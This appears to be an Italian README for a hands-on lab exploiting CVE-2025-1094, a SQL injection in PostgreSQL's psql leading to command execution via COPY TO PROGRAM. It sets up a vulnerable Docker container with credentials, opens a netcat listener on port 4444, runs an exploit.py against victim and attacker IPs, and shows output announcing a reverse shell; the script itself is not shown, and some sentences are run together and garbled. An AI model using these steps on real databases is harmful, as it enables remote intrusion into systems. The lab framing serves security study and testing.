
# Laboratorio pratico per sfruttare CVE-2025-1094, un'iniezione SQL in PostgreSQL psql che porta a RCE tramite COPY TO PROGRAM, con configurazione Docker e payload di reverse shell.
⚠️ Disclaimer
Questo laboratorio è solo a scopo educativo e di ricerca.
NON utilizzare alcuna informazione o tecnica qui dimostrata su sistemi che non possiedi o per cui non hai esplicita autorizzazione a testare. L'uso non autorizzato di questi metodi può violare leggi e comportare gravi sanzioni.
CVE-2025-1094 è una vulnerabilità critica che colpisce lo strumento interattivo psql di PostgreSQL, scoperta nella versione 14.15 e precedenti.
Consente agli attaccanti di eseguire SQL Injection che può portare a Remote Code Execution (RCE) in determinate condizioni.
La vulnerabilità deriva da una gestione impropria di input UTF-8 malformati in psql.
A causa di una validazione insufficiente, gli attaccanti possono iniettare SQL arbitrario o meta-comandi come ! (escape della shell), e persino sfruttare per eseguire comandi di sistema.
COPY ... TO PROGRAMCOPY TO PROGRAM: Gli attaccanti possono eseguire comandi shell arbitrari come:
/etc/passwd)psql con input non attendibili (es. BeyondTrust PRA, Remote Support) è particolarmente esposto.Installa Docker:
sudo apt update
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io
sudo systemctl enable --now docker
sudo usermod -aG docker $USER
👉 Riavvia o esci e accedi di nuovo per applicare i permessi del gruppo Docker.
Installa Python e le dipendenze:
sudo apt install -y python3 python3-pip python3-psycopg2 netcat-traditional
✅ Assicurati della connettività di rete tra le macchine attaccante e vittima.
docker pull postgres:14.15
docker run --name vulnerable_postgres -e POSTGRES_USER=postgres123 -e POSTGRES_PASSWORD=StrongP@ssWord -e POSTGRES_DB=labdb -p 5432:5432 -d postgres:14.15
docker exec -i vulnerable_postgres psql -U postgres123 -d labdb <<EOF
CREATE TABLE users (
id SERIAL PRIMARY KEY,
username TEXT,
password TEXT
);
INSERT INTO users (username, password) VALUES ('admin', 'password123');
EOF
Dopo aver avviato il container, verifica che tutto funzioni con i seguenti comandi:
1. Controlla che il container PostgreSQL sia in esecuzione:
sudo docker ps
📌 Dovresti vedere un container chiamato vulnerable_postgres in ascolto sulla porta 5432.
2. Accedi al container e ispeziona il database:
sudo docker exec -it vulnerable_postgres psql -U postgres123 -d labdb
All'interno della shell psql, esegui:
SELECT * FROM users;
Output atteso:
id | username | password
----+----------+-------------
1 | admin | password123
(1 row)
Esci da psql:
\q
✅ Ora la tua istanza PostgreSQL vulnerabile è in esecuzione e pronta per lo sfruttamento.
3. Riavvia il container
sudo docker start vulnerable_postgres
nc -lvnp 4444
python3 exploit.py <Victim_IP> <Attacker_IP> <Attacker_PORT>
[*] Connecting to PostgreSQL server...
[+] Connected successfully!
[*] Sending payload...
[✓] Payload executed! Check your Netcat listener for a shell.
COPY ... TO PROGRAM per eseguire comandi shell arbitrari💡 Suggerimento: Puoi creare uno snapshot di questo container vulnerabile e riutilizzarlo in seguito senza ricostruire l'ambiente.